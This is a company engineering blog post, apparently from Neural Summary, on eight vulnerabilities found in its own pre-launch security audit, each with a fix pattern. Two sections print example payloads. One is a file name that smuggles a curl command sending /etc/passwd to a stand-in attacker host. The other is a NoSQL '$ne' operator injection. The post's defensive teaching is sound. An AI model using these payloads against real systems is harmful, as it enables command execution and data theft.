Retour au blog
Eight security vulnerabilities we found in our own code
Engineering

Eight security vulnerabilities we found in our own code

7 min read|30 avril 2026|Neural Summary

Before launching Neural Summary V2, we ran a security audit on our own codebase. We found eight vulnerabilities. One was critical. Two were high severity. The rest ranged from medium to notable.

We fixed all eight before shipping. This post describes each vulnerability class, the fix pattern, and what we learned about secure development in a fast-moving product.

We are not sharing specific endpoints, internal architecture details, or exact code paths. We are sharing vulnerability patterns that every web application developer should know about.

1. Command injection in media processing (CVSS 9.8 — Critical)

Our audio processing pipeline passes user-uploaded files to a command-line tool for splitting and format conversion. The file path was interpolated into shell commands without sanitization.

A file named recording$(curl attacker.com/exfil?data=$(cat /etc/passwd)).mp3 would execute arbitrary commands on our server.

The fix pattern: Path sanitization. Every file path that touches a shell command goes through a sanitizer that:

  • >Resolves to an absolute path
  • >Rejects any path containing shell metacharacters (semicolons, pipes, backticks, dollar signs, parentheses, angle brackets)
  • >Normalizes the path and rejects traversal sequences
  • >Validates the path is within the expected temporary directory

Additionally, we switched from string interpolation to array-based command arguments where possible, which avoids shell interpretation entirely.

The lesson: Any code path where user input reaches a shell command is a critical attack surface. This is OWASP A03:2021 (Injection). Even if the input is "just a filename," sanitize it.

2. Missing rate limiting (CVSS 8.6 — High)

Our API had no rate limiting on any endpoint. An attacker could:

  • >Brute-force authentication endpoints
  • >Exhaust our transcription API quota by submitting thousands of jobs
  • >Denial-of-service the application by flooding any endpoint

The fix pattern: Multi-layer rate limiting.

  • >Global rate limit: 10 requests per second per IP
  • >Endpoint-specific limits: stricter limits on authentication (5 attempts per minute), file uploads (10 per minute), and API-intensive operations
  • >Per-user limits on transcription job submission (prevents quota abuse)

The lesson: Rate limiting is not optional. It is baseline infrastructure. Every API endpoint should have a rate limit, even internal ones. The cost of adding it later (after an incident) is far higher than adding it during development.

3. Weak hashing for verification codes (CVSS 8.1 — High)

Email verification codes were hashed with SHA-256 before storage. SHA-256 is a fast hash, designed for checksums and data integrity, not for protecting secrets.

A 6-digit verification code has only 1 million possible values. With SHA-256, an attacker with access to the database could brute-force all possible codes in under a second.

The fix pattern: Replaced SHA-256 with bcrypt. Bcrypt is a deliberately slow hash function designed for password-like secrets. The work factor makes brute-force computation take minutes instead of milliseconds.

The lesson: Use the right hash for the job. SHA-256 for data integrity, bcrypt (or argon2) for secrets. A 6-digit code hashed with a fast function is not meaningfully protected.

4. NoSQL injection via unvalidated input (CVSS 7.5 — High)

API endpoints accepted request bodies and passed fields directly to database queries without validation or type checking. An attacker could send specially crafted JSON payloads to manipulate query operators.

For example, sending {"email": {"$ne": ""}} where a string was expected could bypass query filters.

The fix pattern: Data Transfer Objects (DTOs) with strict validation. Every API endpoint now validates its input against a typed schema before any business logic executes. Fields are checked for type, length, format, and allowed values. Objects that do not match the schema are rejected at the controller level.

The lesson: Never trust client input. Validate at the boundary. In a typed language, DTOs feel redundant when you already have TypeScript interfaces, but runtime validation catches the attacks that compile-time typing cannot.

5. Cross-site scripting via unsanitized output (CVSS 6.5 — Medium)

Error messages returned to the client included internal details: file paths, stack traces, and raw error messages from third-party services. Beyond information disclosure, some of these error messages could include user-supplied input rendered without escaping.

The fix pattern: Error sanitization at the response boundary. A global exception filter catches all errors and:

  • >Strips file paths and stack traces from error responses
  • >Replaces internal error messages with user-friendly descriptions
  • >Escapes any user-supplied content that might appear in error messages
  • >Returns consistent error response structures regardless of the error source

The lesson: Error messages are an output channel. They need the same sanitization as any other output. The developer experience of detailed errors (useful in development) must be separated from the user experience of safe errors (required in production).

6. Information disclosure in API responses (CVSS 5.3 — Medium)

Several API endpoints returned more data than the client needed. User objects included internal fields (database IDs, creation timestamps, subscription details). Error responses included stack traces in production.

The fix pattern: Response shaping. Each API endpoint now explicitly selects which fields to return, rather than passing through database objects directly. A user profile endpoint returns display name, email, and tier, not the full database document.

The lesson: Default to minimal disclosure. Return only what the client needs. This is not just a security concern; it also reduces payload size and prevents accidental API contracts where clients depend on fields you did not intend to expose.

7. Missing authentication on internal endpoints (CVSS 5.0 — Medium)

A few API endpoints that were intended for internal use (health checks, queue status) did not require authentication. While they did not expose sensitive data directly, they provided information about system state that could aid targeted attacks.

The fix pattern: Authentication by default. Every endpoint requires authentication unless explicitly marked as public. We use a guard that checks for a valid authentication token on every request, with a decorator to opt specific routes out of the check. The default is secure; public access requires a conscious decision.

The lesson: Secure by default is the right architectural choice. It means every new endpoint is protected automatically. The developer has to actively choose to make something public, which forces a security conversation.

8. Missing input length limits (CVSS 4.3 — Low)

Text input fields (conversation titles, folder names, custom analysis prompts) had no maximum length. An attacker could submit megabytes of text, causing database writes to fail, UI rendering to break, and potentially exhausting memory during processing.

The fix pattern: Length limits at every layer.

  • >Frontend: maxLength attributes on input fields
  • >Backend: DTO validation with maximum character counts
  • >Database: Application-level length checks before writes

The lesson: Unbounded input is a denial-of-service vector. Every text field needs a reasonable maximum length, enforced on both client and server.

What this changed about how we build

Security auditing before launch is non-negotiable. We found a CVSS 9.8 vulnerability. It would have been our first production incident. The audit took a few days. The incident response would have taken far longer.

The OWASP Top 10 is a checklist, not a reference. Walk through each category and ask "does this apply to our codebase?" Injection, broken access control, security misconfiguration, and vulnerable components are the most common findings in modern web applications.

Fast-moving codebases accumulate security debt. When you are shipping features quickly, security shortcuts feel harmless. "We will add rate limiting later." "This endpoint is internal, it does not need auth." Later arrives when an attacker finds the shortcut.

Defense in depth is not paranoia. Path sanitization plus array-based arguments plus temporary directory validation is three layers protecting the same attack surface. When one layer has a gap, the others still hold.

We ship features fast. We also audit them before they go to production. Those two priorities are not in conflict. They are both requirements.

Continuer la lecture